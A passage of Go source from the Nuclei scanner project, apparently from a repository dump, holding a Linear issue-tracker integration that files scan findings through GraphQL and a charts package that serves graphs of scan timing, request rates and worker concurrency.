{\n\tvar transport = http.DefaultTransport\n\tif options.HttpClient != nil && options.HttpClient.HTTPClient.Transport != nil {\n\t\ttransport = options.HttpClient.HTTPClient.Transport\n\t}\n\n\thttpClient := &http.Client{\n\t\tTransport: &addHeaderTransport{\n\t\t\tT:   transport,\n\t\t\tKey: options.APIKey,\n\t\t},\n\t}\n\n\tintegration := &Integration{\n\t\turl:        \"https://api.linear.app/graphql\",\n\t\toptions:    options,\n\t\thttpclient: httpClient,\n\t}\n\n\treturn integration, nil\n}\n\n// CreateIssue creates an issue in the tracker\nfunc (i *Integration) CreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) {\n\tsummary := format.Summary(event)\n\tdescription := format.CreateReportDescription(event, util.MarkdownFormatter{}, i.options.OmitRaw)\n\t_ = description\n\n\tctx := context.Background()\n\n\tvar err error\n\tvar existingIssue *linearIssue\n\tif i.options.DuplicateIssueCheck {\n\t\texistingIssue, err = i.findIssueByTitle(ctx, summary)\n\t\tif err != nil && !errors.Is(err, io.EOF) {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif existingIssue == nil {\n\t\t// Create a new issue\n\t\tcreatedIssue, err := i.createIssueLinear(ctx, summary, description, priorityFromSeverity(event.Info.SeverityHolder.Severity))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &filters.CreateIssueResponse{\n\t\t\tIssueID:  types.ToString(createdIssue.ID),\n\t\t\tIssueURL: types.ToString(createdIssue.URL),\n\t\t}, nil\n\t} else {\n\t\tif existingIssue.State.Name == \"Done\" {\n\t\t\t// Update the issue state to open\n\t\t\tvar issueUpdateInput struct {\n\t\t\t\tStateID string `json:\"stateId\"`\n\t\t\t}\n\t\t\tissueUpdateInput.StateID = i.options.OpenStateID\n\t\t\tvariables := map[string]interface{}{\n\t\t\t\t\"issueUpdateInput\": issueUpdateInput,\n\t\t\t\t\"issueID\":          types.ToString(existingIssue.ID),\n\t\t\t}\n\t\t\tvar resp struct {\n\t\t\t\tIssueUpdate struct {\n\t\t\t\t\tLastSyncID int `json:\"lastSyncId\"`\n\t\t\t\t}\n\t\t\t}\n\t\t\terr := i.doGraphqlRequest(ctx, existingIssueUpdateStateMutation, &resp, variables, \"IssueUpdate\")\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error reopening issue %s: %s\", existingIssue.ID, err)\n\t\t\t}\n\t\t}\n\n\t\tcommentInput := map[string]interface{}{\n\t\t\t\"issueId\": types.ToString(existingIssue.ID),\n\t\t\t\"body\":    description,\n\t\t}\n\t\tvariables := map[string]interface{}{\n\t\t\t\"commentCreateInput\": commentInput,\n\t\t}\n\t\tvar resp struct {\n\t\t\tCommentCreate struct {\n\t\t\t\tLastSyncID int `json:\"lastSyncId\"`\n\t\t\t}\n\t\t}\n\t\terr := i.doGraphqlRequest(ctx, commentCreateExistingTicketMutation, &resp, variables, \"CommentCreate\")\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error commenting on issue %s: %s\", existingIssue.ID, err)\n\t\t}\n\t\treturn &filters.CreateIssueResponse{\n\t\t\tIssueID:  types.ToString(existingIssue.ID),\n\t\t\tIssueURL: types.ToString(existingIssue.URL),\n\t\t}, nil\n\t}\n}\n\nfunc priorityFromSeverity(sev severity.Severity) float64 {\n\tswitch sev {\n\tcase severity.Critical:\n\t\treturn linearPriorityCritical\n\tcase severity.High:\n\t\treturn linearPriorityHigh\n\tcase severity.Medium:\n\t\treturn linearPriorityMedium\n\tcase severity.Low:\n\t\treturn linearPriorityLow\n\tdefault:\n\t\treturn linearPriorityNone\n\t}\n}\n\ntype createIssueMutation struct {\n\tIssueCreate struct {\n\t\tIssue struct {\n\t\t\tID         graphql.ID\n\t\t\tTitle      graphql.String\n\t\t\tIdentifier graphql.String\n\t\t\tState      struct {\n\t\t\t\tName graphql.String\n\t\t\t}\n\t\t\tURL graphql.String\n\t\t}\n\t}\n}\n\nconst (\n\tcreateIssueGraphQLMutation = `mutation CreateIssue($input: IssueCreateInput!) {\n    issueCreate(input: $input) {\n        issue {\n            id\n            title\n            identifier\n            state {\n                name\n            }\n            url\n        }\n    }\n}`\n\n\tsearchExistingTicketQuery = `query ($teamID: ID, $projectID: ID, $title: String!) {\n  issues(filter: { \n  \ttitle: { eq: $title }, \n\tteam: { id: { eq: $teamID } } \n\tproject: { id: { eq: $projectID } } \n  }) {\n    nodes {\n      id\n      title\n      identifier\n      state {\n        name\n      }\n      url\n    }\n  }\n}\n`\n\n\texistingIssueUpdateStateMutation = `mutation IssueUpdate($issueUpdateInput: IssueUpdateInput!, $issueID: String!) {\n  issueUpdate(input: $issueUpdateInput, id: $issueID) {\n\tlastSyncId\n  }\n}\n`\n\n\tcommentCreateExistingTicketMutation = `mutation CommentCreate($commentCreateInput: CommentCreateInput!) {\n  commentCreate(input: $commentCreateInput) {\n    lastSyncId\n  }\n}\n`\n)\n\nfunc (i *Integration) createIssueLinear(ctx context.Context, title, description string, priority float64) (*linearIssue, error) {\n\tvar mutation createIssueMutation\n\tinput := map[string]interface{}{\n\t\t\"title\":       title,\n\t\t\"description\": description,\n\t\t\"priority\":    priority,\n\t}\n\tif i.options.TeamID != \"\" {\n\t\tinput[\"teamId\"] = graphql.ID(i.options.TeamID)\n\t}\n\tif i.options.ProjectID != \"\" {\n\t\tinput[\"projectId\"] = i.options.ProjectID\n\t}\n\n\tvariables := map[string]interface{}{\n\t\t\"input\": input,\n\t}\n\n\terr := i.doGraphqlRequest(ctx, createIssueGraphQLMutation, &mutation, variables, \"CreateIssue\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &linearIssue{\n\t\tID:         mutation.IssueCreate.Issue.ID,\n\t\tTitle:      mutation.IssueCreate.Issue.Title,\n\t\tIdentifier: mutation.IssueCreate.Issue.Identifier,\n\t\tState: struct {\n\t\t\tName graphql.String\n\t\t}{\n\t\t\tName: mutation.IssueCreate.Issue.State.Name,\n\t\t},\n\t\tURL: mutation.IssueCreate.Issue.URL,\n\t}, nil\n}\n\nfunc (i *Integration) findIssueByTitle(ctx context.Context, title string) (*linearIssue, error) {\n\tvar query findExistingIssuesSearch\n\tvariables := map[string]interface{}{\n\t\t\"title\": graphql.String(title),\n\t}\n\tif i.options.TeamID != \"\" {\n\t\tvariables[\"teamId\"] = graphql.ID(i.options.TeamID)\n\t}\n\tif i.options.ProjectID != \"\" {\n\t\tvariables[\"projectID\"] = graphql.ID(i.options.ProjectID)\n\t}\n\n\terr := i.doGraphqlRequest(ctx, searchExistingTicketQuery, &query, variables, \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(query.Issues.Nodes) > 0 {\n\t\treturn &query.Issues.Nodes[0], nil\n\t}\n\treturn nil, io.EOF\n}\n\nfunc (i *Integration) Name() string {\n\treturn \"linear\"\n}\n\nfunc (i *Integration) CloseIssue(event *output.ResultEvent) error {\n\t// TODO: Unimplemented for now as not used in many places\n\t// and overhead of maintaining our own API for this.\n\t// This is too much code as it is :(\n\treturn nil\n}\n\n// ShouldFilter determines if an issue should be logged to this tracker\nfunc (i *Integration) ShouldFilter(event *output.ResultEvent) bool {\n\tif i.options.AllowList != nil && !i.options.AllowList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\tif i.options.DenyList != nil && i.options.DenyList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\ntype linearIssue struct {\n\tID         graphql.ID\n\tTitle      graphql.String\n\tIdentifier graphql.String\n\tState      struct {\n\t\tName graphql.String\n\t}\n\tURL graphql.String\n}\n\ntype findExistingIssuesSearch struct {\n\tIssues struct {\n\t\tNodes []linearIssue\n\t}\n}\n\n// Custom transport to add the API key to the header\ntype addHeaderTransport struct {\n\tT   http.RoundTripper\n\tKey string\n}\n\nfunc (adt *addHeaderTransport) RoundTrip(req *http.Request) (*http.Response, error) {\n\treq.Header.Add(\"Authorization\", adt.Key)\n\treturn adt.T.RoundTrip(req)\n}\n\nconst (\n\tlinearPriorityNone     = float64(0)\n\tlinearPriorityCritical = float64(1)\n\tlinearPriorityHigh     = float64(2)\n\tlinearPriorityMedium   = float64(3)\n\tlinearPriorityLow      = float64(4)\n)\n\n// errors represents the \"errors\" array in a response from a GraphQL server.\n// If returned via error interface, the slice is expected to contain at least 1 element.\n//\n// Specification: https://spec.graphql.org/October2021/#sec-Errors.\ntype errorsGraphql []struct {\n\tMessage   string\n\tLocations []struct {\n\t\tLine   int\n\t\tColumn int\n\t}\n}\n\n// Error implements error interface.\nfunc (e errorsGraphql) Error() string {\n\treturn e[0].Message\n}\n\n// do executes a single GraphQL operation.\nfunc (i *Integration) doGraphqlRequest(ctx context.Context, query string, v any, variables map[string]any, operationName string) error {\n\tin := struct {\n\t\tQuery         string         `json:\"query\"`\n\t\tVariables     map[string]any `json:\"variables,omitempty\"`\n\t\tOperationName string         `json:\"operationName,omitempty\"`\n\t}{\n\t\tQuery:         query,\n\t\tVariables:     variables,\n\t\tOperationName: operationName,\n\t}\n\n\tvar buf bytes.Buffer\n\terr := json.NewEncoder(&buf).Encode(in)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequestWithContext(ctx, http.MethodPost, i.url, &buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := i.httpclient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\tif resp.StatusCode != http.StatusOK {\n\t\tbody, _ := io.ReadAll(resp.Body)\n\t\treturn fmt.Errorf(\"non-200 OK status code: %v body: %q\", resp.Status, body)\n\t}\n\tvar out struct {\n\t\tData   *json.Message\n\t\tErrors errorsGraphql\n\t\t//Extensions any // Unused.\n\t}\n\n\terr = json.NewDecoder(resp.Body).Decode(&out)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif out.Data != nil {\n\t\terr := jsonutil.UnmarshalGraphQL(*out.Data, v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif len(out.Errors) > 0 {\n\t\treturn out.Errors\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/scan/charts/charts.go",
    "content": "package charts\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/labstack/echo/v4\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan/events\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\n// ScanEventsCharts is a struct for nuclei event charts\ntype ScanEventsCharts struct {\n\teventsDir string\n\tconfig    *events.ScanConfig\n\tdata      []events.ScanEvent\n}\n\nfunc (sc *ScanEventsCharts) PrintInfo() {\n\tfmt.Printf(\"[+] Scan Info\\n\")\n\tfmt.Printf(\"  - Name: %s\\n\", sc.config.Name)\n\tfmt.Printf(\"  - Target Count: %d\\n\", sc.config.TargetCount)\n\tfmt.Printf(\"  - Template Count: %d\\n\", sc.config.TemplatesCount)\n\tfmt.Printf(\"  - Template Concurrency: %d\\n\", sc.config.TemplateConcurrency)\n\tfmt.Printf(\"  - Payload Concurrency: %d\\n\", sc.config.PayloadConcurrency)\n\tfmt.Printf(\"  - Retries: %v\\n\", sc.config.Retries)\n\tfmt.Printf(\"  - Total Events: %d\\n\", len(sc.data))\n\tfmt.Println()\n}\n\n// NewScanEventsCharts creates a new nuclei event charts\nfunc NewScanEventsCharts(eventsDir string) (*ScanEventsCharts, error) {\n\tsc := &ScanEventsCharts{eventsDir: eventsDir}\n\tif !fileutil.FolderExists(eventsDir) {\n\t\treturn nil, fmt.Errorf(\"events directory does not exist\")\n\t}\n\t// open two files\n\t// config.json\n\tbin, err := os.ReadFile(filepath.Join(eventsDir, events.ConfigFile))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar config events.ScanConfig\n\terr = json.Unmarshal(bin, &config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsc.config = &config\n\n\t// events.jsonl\n\tf, err := os.Open(filepath.Join(eventsDir, events.EventsFile))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = f.Close()\n\t}()\n\n\tdata := []events.ScanEvent{}\n\tdec := json.NewDecoder(f)\n\tfor {\n\t\tvar event events.ScanEvent\n\t\tif err := dec.Decode(&event); err != nil {\n\t\t\tbreak\n\t\t}\n\t\tdata = append(data, event)\n\t}\n\tsc.data = data\n\n\tif len(data) == 0 {\n\t\treturn nil, fmt.Errorf(\"no events found in the events file\")\n\t}\n\n\treturn sc, nil\n}\n\n// Start starts the nuclei event charts server\nfunc (sc *ScanEventsCharts) Start(addr string) {\n\te := echo.New()\n\te.HideBanner = true\n\te.GET(\"/concurrency\", sc.ConcurrencyVsTime)\n\te.GET(\"/fuzz\", sc.TotalRequestsOverTime)\n\te.GET(\"/slow\", sc.TopSlowTemplates)\n\te.GET(\"/rps\", sc.RequestsVSInterval)\n\te.GET(\"/\", sc.AllCharts)\n\te.Logger.Fatal(e.Start(addr))\n}\n"
  },
  {
    "path": "pkg/scan/charts/echarts.go",
    "content": "package charts\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t\"github.com/go-echarts/go-echarts/v2/charts\"\n\t\"github.com/go-echarts/go-echarts/v2/components\"\n\t\"github.com/go-echarts/go-echarts/v2/opts\"\n\t\"github.com/labstack/echo/v4\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan/events\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\nconst (\n\tTopK         = 50\n\tSpacerHeight = \"50px\"\n)\n\nfunc (s *ScanEventsCharts) AllCharts(c echo.Context) error {\n\tpage := s.allCharts(c)\n\treturn page.Render(c.Response().Writer)\n}\n\nfunc (s *ScanEventsCharts) GenerateHTML(filePath string) error {\n\tpage := s.allCharts(nil)\n\toutput, err := os.Create(filePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = output.Close()\n\t}()\n\treturn page.Render(output)\n}\n\n// AllCharts generates all the charts for the scan events and returns a page component\nfunc (s *ScanEventsCharts) allCharts(c echo.Context) *components.Page {\n\tpage := components.NewPage()\n\tpage.PageTitle = \"Nuclei Charts\"\n\tline1 := s.totalRequestsOverTime(c)\n\t// line1.SetSpacerHeight(SpacerHeight)\n\tkline := s.topSlowTemplates(c)\n\t// kline.SetSpacerHeight(SpacerHeight)\n\tline2 := s.requestsVSInterval(c)\n\t// line2.SetSpacerHeight(SpacerHeight)\n\tline3 := s.concurrencyVsTime(c)\n\t// line3.SetSpacerHeight(SpacerHeight)\n\tpage.AddCharts(line1, kline, line2, line3)\n\tpage.SetLayout(components.PageCenterLayout)\n\t// page.Theme = \"dark\"\n\tpage.Validate()\n\n\treturn page\n}\n\nfunc (s *ScanEventsCharts) TotalRequestsOverTime(c echo.Context) error {\n\tline := s.totalRequestsOverTime(c)\n\treturn line.Render(c.Response().Writer)\n}\n\n// totalRequestsOverTime generates a line chart showing total requests count over time\nfunc (s *ScanEventsCharts) totalRequestsOverTime(c echo.Context) *charts.Line {\n\tline := charts.NewLine()\n\tline.SetGlobalOptions(\n\t\tcharts.WithTitleOpts(opts.Title{\n\t\t\tTitle:    \"Nuclei: Total Requests vs Time\",\n\t\t\tSubtitle: \"Chart Shows Total Requests Count Over Time (for each/all Protocols)\",\n\t\t}),\n\t)\n\n\tstartTime := time.Now()\n\tvar endTime time.Time\n\n\tfor _, event := range s.data {\n\t\tif event.Time.Before(startTime) {\n\t\t\tstartTime = event.Time\n\t\t}\n\t\tif event.Time.After(endTime) {\n\t\t\tendTime = event.Time\n\t\t}\n\t}\n\tdata := getCategoryRequestCount(s.data)\n\tmax := 0\n\tfor _, v := range data {\n\t\tif len(v) > max {\n\t\t\tmax = len(v)\n\t\t}\n\t}\n\tline.SetXAxis(time.Now().Format(time.RFC3339))\n\tfor k, v := range data {\n\t\tlineData := make([]opts.LineData, 0)\n\t\ttemp := 0\n\t\tfor _, scanEvent := range v {\n\t\t\ttemp += scanEvent.MaxRequests\n\t\t\tval := scanEvent.Time.Sub(startTime)\n\t\t\tlineData = append(lineData, opts.LineData{\n\t\t\t\tValue: []interface{}{val.Milliseconds(), temp},\n\t\t\t\tName:  scanEvent.TemplateID,\n\t\t\t})\n\t\t}\n\t\tline.AddSeries(k, lineData, charts.WithLineChartOpts(opts.LineChart{Smooth: opts.Bool(false)}), charts.WithLabelOpts(opts.Label{Show: opts.Bool(true), Position: \"top\"}))\n\t}\n\n\tline.SetGlobalOptions(\n\t\tcharts.WithTitleOpts(opts.Title{Title: \"Nuclei: total-req vs time\"}),\n\t\tcharts.WithXAxisOpts(opts.XAxis{Name: \"Time\", Type: \"time\", AxisLabel: &opts.AxisLabel{Show: opts.Bool(true), ShowMaxLabel: opts.Bool(true), Formatter: opts.FuncOpts(`function (date) { return (date/1000)+'s'; }`)}}),\n\t\tcharts.WithYAxisOpts(opts.YAxis{Name: \"Requests Sent\", Type: \"value\"}),\n\t\tcharts.WithInitializationOpts(opts.Initialization{Theme: \"dark\"}),\n\t\tcharts.WithDataZoomOpts(opts.DataZoom{Type: \"slider\", Start: 0, End: 100}),\n\t\tcharts.WithGridOpts(opts.Grid{Left: \"10%\", Right: \"10%\", Bottom: \"15%\", Top: \"20%\"}),\n\t\tcharts.WithToolboxOpts(opts.Toolbox{Show: opts.Bool(true), Feature: &opts.ToolBoxFeature{\n\t\t\tSaveAsImage: &opts.ToolBoxFeatureSaveAsImage{Show: opts.Bool(true), Name: \"save\", Title: \"save\"},\n\t\t\tDataZoom:    &opts.ToolBoxFeatureDataZoom{Show: opts.Bool(true), Title: map[string]string{\"zoom\": \"zoom\", \"back\": \"back\"}},\n\t\t\tDataView:    &opts.ToolBoxFeatureDataView{Show: opts.Bool(true), Title: \"raw\", Lang: []string{\"raw\", \"exit\", \"refresh\"}},\n\t\t}}),\n\t)\n\n\tline.Validate()\n\treturn line\n}\n\nfunc (s *ScanEventsCharts) TopSlowTemplates(c echo.Context) error {\n\tkline := s.topSlowTemplates(c)\n\treturn kline.Render(c.Response().Writer)\n}\n\n// topSlowTemplates generates a Kline chart showing the top slow templates by time taken\nfunc (s *ScanEventsCharts) topSlowTemplates(c echo.Context) *charts.Kline {\n\tkline := charts.NewKLine()\n\tkline.SetGlobalOptions(\n\t\tcharts.WithTitleOpts(opts.Title{\n\t\t\tTitle:    \"Nuclei: Top Slow Templates\",\n\t\t\tSubtitle: fmt.Sprintf(\"Chart Shows Top Slow Templates (by time taken) (Top %v)\", TopK),\n\t\t}),\n\t)\n\tids := map[string][]int64{}\n\tstartTime := time.Now()\n\tfor _, event := range s.data {\n\t\tif event.Time.Before(startTime) {\n\t\t\tstartTime = event.Time\n\t\t}\n\t}\n\tfor _, event := range s.data {\n\t\tids[event.TemplateID] = append(ids[event.TemplateID], event.Time.Sub(startTime).Milliseconds())\n\t}\n\n\ttype entry struct {\n\t\tID        string\n\t\tKlineData opts.KlineData\n\t\tstart     int64\n\t\tend       int64\n\t}\n\tdata := []entry{}\n\n\tfor a, b := range ids {\n\t\tif len(b) < 2 {\n\t\t\tcontinue // Prevents index out of range error\n\t\t}\n\t\td := entry{\n\t\t\tID:        a,\n\t\t\tKlineData: opts.KlineData{Value: []int64{b[0], b[len(b)-1], b[0], b[len(b)-1]}}, // Adjusted to prevent index out of range error\n\t\t\tstart:     b[0],\n\t\t\tend:       b[len(b)-1],\n\t\t}\n\t\tdata = append(data, d)\n\t}\n\n\tsort.Slice(data, func(i, j int) bool {\n\t\treturn data[i].end-data[i].start > data[j].end-data[j].start\n\t})\n\n\t// Ensure we don't try to access more elements than available\n\tlimit := TopK\n\tif len(data) < TopK {\n\t\tlimit = len(data)\n\t}\n\n\tx := make([]string, 0)\n\ty := make([]opts.KlineData, 0)\n\tfor _, event := range data[:limit] {\n\t\tx = append(x, event.ID)\n\t\ty = append(y, event.KlineData)\n\t}\n\n\tkline.SetXAxis(x).AddSeries(\"templates\", y)\n\tkline.SetGlobalOptions(\n\t\tcharts.WithTitleOpts(opts.Title{Title: fmt.Sprintf(\"Nuclei: Top %v Slow Templates\", limit)}),\n\t\tcharts.WithXAxisOpts(opts.XAxis{\n\t\t\tType:      \"category\",\n\t\t\tShow:      opts.Bool(true),\n\t\t\tAxisLabel: &opts.AxisLabel{Rotate: 90, Show: opts.Bool(true), ShowMinLabel: opts.Bool(true), ShowMaxLabel: opts.Bool(true), Formatter: opts.FuncOpts(`function (value) { return value; }`)},\n\t\t}),\n\t\tcharts.WithYAxisOpts(opts.YAxis{\n\t\t\tScale:     opts.Bool(true),\n\t\t\tType:      \"value\",\n\t\t\tShow:      opts.Bool(true),\n\t\t\tAxisLabel: &opts.AxisLabel{Show: opts.Bool(true), Formatter: opts.FuncOpts(`function (ms) {  return Math.floor(ms/60000) + 'm' + Math.floor((ms/60000 - Math.floor(ms/60000))*60) + 's'; }`)},\n\t\t}),\n\t\tcharts.WithDataZoomOpts(opts.DataZoom{Type: \"slider\", Start: 0, End: 100}),\n\t\tcharts.WithGridOpts(opts.Grid{Left: \"10%\", Right: \"10%\", Bottom: \"40%\", Top: \"10%\"}),\n\t\tcharts.WithTooltipOpts(opts.Tooltip{Show: opts.Bool(true), Trigger: \"item\", TriggerOn: \"mousemove|click\", Enterable: opts.Bool(true), Formatter: opts.FuncOpts(`function (params) { return params.name ; }`)}),\n\t\tcharts.WithToolboxOpts(opts.Toolbox{Show: opts.Bool(true), Feature: &opts.ToolBoxFeature{\n\t\t\tSaveAsImage: &opts.ToolBoxFeatureSaveAsImage{Show: opts.Bool(true), Name: \"save\", Title: \"save\"},\n\t\t\tDataZoom:    &opts.ToolBoxFeatureDataZoom{Show: opts.Bool(true), Title: map[string]string{\"zoom\": \"zoom\", \"back\": \"back\"}},\n\t\t\tDataView:    &opts.ToolBoxFeatureDataView{Show: opts.Bool(true), Title: \"raw\", Lang: []string{\"raw\", \"exit\", \"refresh\"}},\n\t\t}}),\n\t)\n\n\treturn kline\n}\n\nfunc (s *ScanEventsCharts) RequestsVSInterval(c echo.Context) error {\n\tline := s.requestsVSInterval(c)\n\treturn line.Render(c.Response().Writer)\n}\n\n// requestsVSInterval generates a line chart showing requests per second over time\nfunc (s *ScanEventsCharts) requestsVSInterval(c echo.Context) *charts.Line {\n\tline := charts.NewLine()\n\tline.SetGlobalOptions(\n\t\tcharts.WithTitleOpts(opts.Title{\n\t\t\tTitle:    \"Nuclei: Requests Per Second vs Time\",\n\t\t\tSubtitle: \"Chart Shows RPS (Requests Per Second) Over Time\",\n\t\t}),\n\t)\n\n\tsort.Slice(s.data, func(i, j int) bool {\n\t\treturn s.data[i].Time.Before(s.data[j].Time)\n\t})\n\n\tvar interval time.Duration\n\n\tif c != nil {\n\t\tinterval, _ = time.ParseDuration(c.QueryParam(\"interval\"))\n\t}\n\tif interval <= 3 {\n\t\tinterval = 5 * time.Second\n\t}\n\n\tdata := []opts.LineData{}\n\ttemp := 0\n\tif len(s.data) > 0 {\n\t\torig := s.data[0].Time\n\t\tstartTime := orig\n\t\txaxisData := []int64{}\n\t\tfor _, v := range s.data {\n\t\t\tif v.Time.Sub(startTime) > interval {\n\t\t\t\tmillisec := v.Time.Sub(orig).Milliseconds()\n\t\t\t\txaxisData = append(xaxisData, millisec)\n\t\t\t\tdata = append(data, opts.LineData{Value: temp, Name: v.Time.Sub(orig).String()})\n\t\t\t\ttemp = 0\n\t\t\t\tstartTime = v.Time\n\t\t\t}\n\t\t\ttemp += 1\n\t\t}\n\t\t// Handle last interval if exists\n\t\tif temp > 0 {\n\t\t\tmillisec := s.data[len(s.data)-1].Time.Sub(orig).Milliseconds()\n\t\t\txaxisData = append(xaxisData, millisec)\n\t\t\tdata = append(data, opts.LineData{Value: temp, Name: s.data[len(s.data)-1].Time.Sub(orig).String()})\n\t\t}\n\t\tline.SetXAxis(xaxisData)\n\t\tline.AddSeries(\"RPS\", data, charts.WithLineChartOpts(opts.LineChart{Smooth: opts.Bool(false)}), charts.WithLabelOpts(opts.Label{Show: opts.Bool(true), Position: \"top\"}))\n\t}\n\n\tline.SetGlobalOptions(\n\t\tcharts.WithTitleOpts(opts.Title{Title: \"Nuclei: Template Execution\", Subtitle: \"Time Interval: \" + interval.String()}),\n\t\tcharts.WithXAxisOpts(opts.XAxis{Name: \"Time Intervals\", Type: \"category\", AxisLabel: &opts.AxisLabel{Show: opts.Bool(true), ShowMaxLabel: opts.Bool(true), Formatter: opts.FuncOpts(`function (date) { return (date/1000)+'s'; }`)}}),\n\t\tcharts.WithYAxisOpts(opts.YAxis{Name: \"RPS Value\", Type: \"value\", Show: opts.Bool(true)}),\n\t\tcharts.WithInitializationOpts(opts.Initialization{Theme: \"dark\"}),\n\t\tcharts.WithDataZoomOpts(opts.DataZoom{Type: \"slider\", Start: 0, End: 100}),\n\t\tcharts.WithGridOpts(opts.Grid{Left: \"10%\", Right: \"10%\", Bottom: \"15%\", Top: \"20%\"}),\n\t\tcharts.WithToolboxOpts(opts.Toolbox{Show: opts.Bool(true), Feature: &opts.ToolBoxFeature{\n\t\t\tSaveAsImage: &opts.ToolBoxFeatureSaveAsImage{Show: opts.Bool(true), Name: \"save\", Title: \"save\"},\n\t\t\tDataZoom:    &opts.ToolBoxFeatureDataZoom{Show: opts.Bool(true), Title: map[string]string{\"zoom\": \"zoom\", \"back\": \"back\"}},\n\t\t\tDataView:    &opts.ToolBoxFeatureDataView{Show: opts.Bool(true), Title: \"raw\", Lang: []string{\"raw\", \"exit\", \"refresh\"}},\n\t\t}}),\n\t)\n\n\tline.Validate()\n\treturn line\n}\n\nfunc (s *ScanEventsCharts) ConcurrencyVsTime(c echo.Context) error {\n\tline := s.concurrencyVsTime(c)\n\treturn line.Render(c.Response().Writer)\n}\n\n// concurrencyVsTime generates a line chart showing concurrency (total workers) over time\nfunc (s *ScanEventsCharts) concurrencyVsTime(c echo.Context) *charts.Line {\n\tline := charts.NewLine()\n\tline.SetGlobalOptions(\n\t\tcharts.WithTitleOpts(opts.Title{\n\t\t\tTitle:    \"Nuclei: Concurrency vs Time\",\n\t\t\tSubtitle: \"Chart Shows Concurrency (Total Workers) Over Time\",\n\t\t}),\n\t)\n\n\tdataset := sliceutil.Clone(s.data)\n\n\tsort.Slice(dataset, func(i, j int) bool {\n\t\treturn dataset[i].Time.Before(dataset[j].Time)\n\t})\n\n\tvar interval time.Duration\n\tif c != nil {\n\t\tinterval, _ = time.ParseDuration(c.QueryParam(\"interval\"))\n\t}\n\tif interval <= 3 {\n\t\tinterval = 5 * time.Second\n\t}\n\n\t// create array with time interval as x-axis and worker count as y-axis\n\t// entry is a struct with time and poolsize\n\ttype entry struct {\n\t\tTime     time.Duration\n\t\tpoolsize int\n\t}\n\tallEntries := []entry{}\n\n\tdataIndex := 0\n\tmaxIndex := len(dataset) - 1\n\tcurrEntry := entry{}\n\n\tlastTime := dataset[0].Time\n\tfor dataIndex <= maxIndex {\n\t\tcurrTime := dataset[dataIndex].Time\n\t\tif currTime.Sub(lastTime) > interval {\n\t\t\t// next batch\n\t\t\tcurrEntry.Time = interval\n\t\t\tallEntries = append(allEntries, currEntry)\n\t\t\tlastTime = dataset[dataIndex-1].Time\n\t\t}\n\t\tif dataset[dataIndex].EventType == events.ScanStarted {\n\t\t\tcurrEntry.poolsize += 1\n\t\t} else {\n\t\t\tcurrEntry.poolsize -= 1\n\t\t}\n\t\tdataIndex += 1\n\t}\n\n\tplotData := []opts.LineData{}\n\txaxisData := []int64{}\n\ttempTime := time.Duration(0)\n\tfor _, v := range allEntries {\n\t\ttempTime += v.Time\n\t\tplotData = append(plotData, opts.LineData{Value: v.poolsize, Name: tempTime.String()})\n\t\txaxisData = append(xaxisData, tempTime.Milliseconds())\n\t}\n\tline.SetXAxis(xaxisData)\n\tline.AddSeries(\"Concurrency\", plotData, charts.WithLineChartOpts(opts.LineChart{Smooth: opts.Bool(false)}), charts.WithLabelOpts(opts.Label{Show: opts.Bool(true), Position: \"top\"}))\n\n\tline.SetGlobalOptions(\n\t\tcharts.WithTitleOpts(opts.Title{Title: \"Nuclei: WorkerPool\", Subtitle: \"Time Interval: \" + interval.String()}),\n\t\tcharts.WithXAxisOpts(opts.XAxis{Name: \"Time Intervals\", Type: \"category\", AxisLabel: &opts.AxisLabel{Show: opts.Bool(true), ShowMaxLabel: opts.Bool(true), Formatter: opts.FuncOpts(`function (date) { return (date/1000)+'s'; }`)}}),\n\t\tcharts.WithYAxisOpts(opts.YAxis{Name: \"Total Workers\", Type: \"value\", Show: opts.Bool(true)}),\n\t\tcharts.WithInitializationOpts(opts.Initialization{Theme: \"dark\"}),\n\t\tcharts.WithDataZoomOpts(opts.DataZoom{Type: \"slider\", Start: 0, End: 100}),\n\t\tcharts.WithGridOpts(opts.Grid{Left: \"10%\", Right: \"10%\", Bottom: \"15%\", Top: \"20%\"}),\n\t\tcharts.WithToolboxOpts(opts.Toolbox{Show: opts.Bool(true), Feature: &opts.ToolBoxFeature{\n\t\t\tSaveAsImage: &opts.ToolBoxFeatureSaveAsImage{Show: opts.Bool(true), Name: \"save\", Title: \"save\"},\n\t\t\tDataZoom:    &opts.ToolBoxFeatureDataZoom{Show: opts.Bool(true), Title: map[string]string{\"zoom\": \"zoom\", \"back\": \"back\"}},\n\t\t\tDataView:    &opts.ToolBoxFeatureDataView{Show: opts.Bool(true), Title: \"raw\", Lang: []string{\"raw\", \"exit\", \"refresh\"}},\n\t\t}}),\n\t)\n\n\tline.Validate()\n\treturn line\n}\n\n// getCategoryRequestCount returns a map of category and request count\nfunc getCategoryRequestCount(values 